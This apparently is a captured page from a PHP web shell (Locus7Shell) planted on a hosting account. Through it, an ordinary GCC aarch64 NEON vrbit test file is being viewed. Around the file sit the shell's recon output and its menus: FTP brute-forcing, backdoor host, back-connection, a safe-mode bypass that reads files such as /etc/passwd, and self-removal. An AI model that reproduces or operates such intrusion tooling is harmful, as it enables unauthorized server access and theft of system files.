Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/aarch64/simd/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     vrbit_1.c (1.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run } */
/* { dg-options "-O2 --save-temps -fno-inline -fno-ipa-icf" } */

#include <arm_neon.h>

extern void abort (void);

uint64_t in1 = 0x0123456789abcdefULL;
uint64_t expected1 = 0x80c4a2e691d5b3f7ULL;

#define TEST8(BASETYPE, SUFFIX)                        \
void test8_##SUFFIX ()                            \
{                                    \
  BASETYPE##8x8_t out = vrbit_##SUFFIX (vcreate_##SUFFIX (in1));    \
  uint64_t res = vget_lane_u64 (vreinterpret_u64_##SUFFIX (out), 0);    \
  if (res != expected1) abort ();                    \
}

uint64_t in2 = 0xdeadbeefcafebabeULL;
uint64_t expected2 = 0x7bb57df7537f5d7dULL;

#define TEST16(BASETYPE, SUFFIX)                    \
void test16_##SUFFIX ()                            \
{                                    \
  BASETYPE##8x16_t in = vcombine_##SUFFIX (vcreate_##SUFFIX (in1),    \
                       vcreate_##SUFFIX (in2));    \
  uint64x2_t res = vreinterpretq_u64_##SUFFIX (vrbitq_##SUFFIX (in));    \
  uint64_t res1 = vgetq_lane_u64 (res, 0);                \
  uint64_t res2 = vgetq_lane_u64 (res, 1);                \
  if (res1 != expected1 || res2 != expected2) abort ();            \
}

TEST8 (poly, p8);
TEST8 (int, s8);
TEST8 (uint, u8);

TEST16 (poly, p8);
TEST16 (int, s8);
TEST16 (uint, u8);

int
main (int argc, char **argv)
{
  test8_p8 ();
  test8_s8 ();
  test8_u8 ();
  test16_p8 ();
  test16_s8 ();
  test16_u8 ();
  return 0;
}

/* { dg-final { scan-assembler-times "rbit\[ \t\]+\[vV\]\[0-9\]+\.8\[bB\], ?\[vV\]\[0-9\]+\.8\[bB\]" 3 } } */
/* { dg-final { scan-assembler-times "rbit\[ \t\]+\[vV\]\[0-9\]+\.16\[bB\], ?\[vV\]\[0-9\]+\.16\[bB\]" 3 } } */


Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0061 ]--